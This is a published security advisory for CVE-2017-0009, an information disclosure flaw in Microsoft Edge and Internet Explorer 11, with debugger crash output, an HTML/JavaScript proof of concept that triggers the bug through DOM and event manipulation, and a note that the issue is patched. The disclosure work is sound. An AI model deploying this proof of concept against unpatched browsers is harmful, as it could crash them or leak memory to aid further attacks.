security-assessment.com

Vulnerability Advisory

Name	Microsoft Edge Information Disclosure Vulnerability
CVE	CVE-2017-0009
Vendor Website	http://www.microsoft.com/
Date Released	03/04/2017
Affected Software	Microsoft Edge Microsoft Internet Explorer 11
Researchers	Scott Bell

Description

An information disclosure vulnerability was identified in the Microsoft Edge and Internet Explorer browsers which could allow a malicious user to obtain sensitive information that may aid in further attacks.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.
The following table shows some cursory debug information:

Debugger Output

```
(408.e84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0e1ffff0 ebx=00000000 ecx=0e1f9fe4 edx=ffffffff esi=0cb5ab50 edi=01b3cee0
eip=76fbfb61 esp=0cb5ab00 ebp=0cb5ab34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
kernel32!LongCompareString+0xcc:
76fbfb61 0fb710          movzx   edx,word ptr [eax]      ds:0023:0e1ffff0=????
1:040> k
ChildEBP RetAddr
0cb5ab34 76fbfb18 kernel32!LongCompareString+0xcc
0cb5abe0 757270f2 kernel32!SortCompareString+0x1bc
0cb5ac08 7572712c KERNELBASE!SortCompareString+0x52
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for
C:\Windows\system32\shlwapi.DLL -
0cb5ac34 770fa13c KERNELBASE!CompareStringW+0x38
WARNING: Stack unwind information not available. Following frames may be wrong.
0cb5ac54 770f828d shlwapi!SHStrDupW+0x85
0cb5ac70 6b0d18d9 shlwapi!StrCmpW+0x16
0cb5acd0 6b0d0627 MSHTML!SearchChildrenForWindow+0x7c
0cb5ace8 6b0d17c7 MSHTML!FindWindowInContext+0x19
0cb5ad54 6b0d0834 MSHTML!SearchBrowsersForWindow+0x3f8
0cb5ad80 6ae73a4e MSHTML!GetTargetWindow+0x57
0cb5adc0 6a6ad488 MSHTML!CWindow::FindWindowByName+0x11f
0cb5ade8 6a77ce69 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic
atexit destructor for 'fieldDefaultValue''+0x17f5c6
0cb5ae94 6a7b8105 MSHTML!CDoc::FollowHyperlink2+0x343
0cb5af28 6ab7e482 MSHTML!CDoc::FollowHyperlink+0x91
0cb5afe8 6a8ea690 MSHTML!CAnchorHelper::ClickActionHelper+0x4dc
0cb5aff4 6a934892 MSHTML!CAreaElement::ClickActionHelper+0x10
0cb5b00c 6a93447a MSHTML!CElement::ClickAction+0x42
0cb5b058 6a91f579 MSHTML!CElement::DoClick+0x19a
0cb5b090 6a91f4e4 MSHTML!CElement::click+0x71
0cb5b0a8 69b1ee7f MSHTML!CFastDOM::CHTMLElement::Trampoline_click+0x34
0cb5b110 69b1e45c jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x182
0cb5b3b8 69b1e629 jscript9!Js::InterpreterStackFrame::Process+0x1e62
0cb5b4e4 09750fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x200
```

The following proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<head>
<script>
function boom(){
	OBJ1=document.createElement("object");
	OBJ2=document.createElement("object");
	OBJ3=document.createElement("object");
	OBJ4=document.createElement("object");
	TBODY=document.createElement("tbody");
	AREA=document.createElement("area");
	document.body.appendChild(OBJ2);
	document.body.appendChild(AREA);
	OBJ4.appendChild(OBJ1);
	OBJ4.appendChild(OBJ3);
	OBJ3.appendChild(TBODY);
	OBJ2.appendChild(OBJ3);
	OBJ1.addEventListener("DOMAttrModified", eventFunction);
	OBJ1.tabIndex=1;
	OBJ3.addEventListener("focusout", eventFunction);
	AREA.href=1;
	TBODY.tabIndex=1;
	TBODY.focus();
	AREA.click();
	location.reload();
}

function eventFunction(event){
	AREA.target=1
}
</script>
</head>
<body onload='boom();'>
</body>
</html>
```

Solution

Microsoft validated this security issue and issued a patch in the April 2017 Security Updates to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com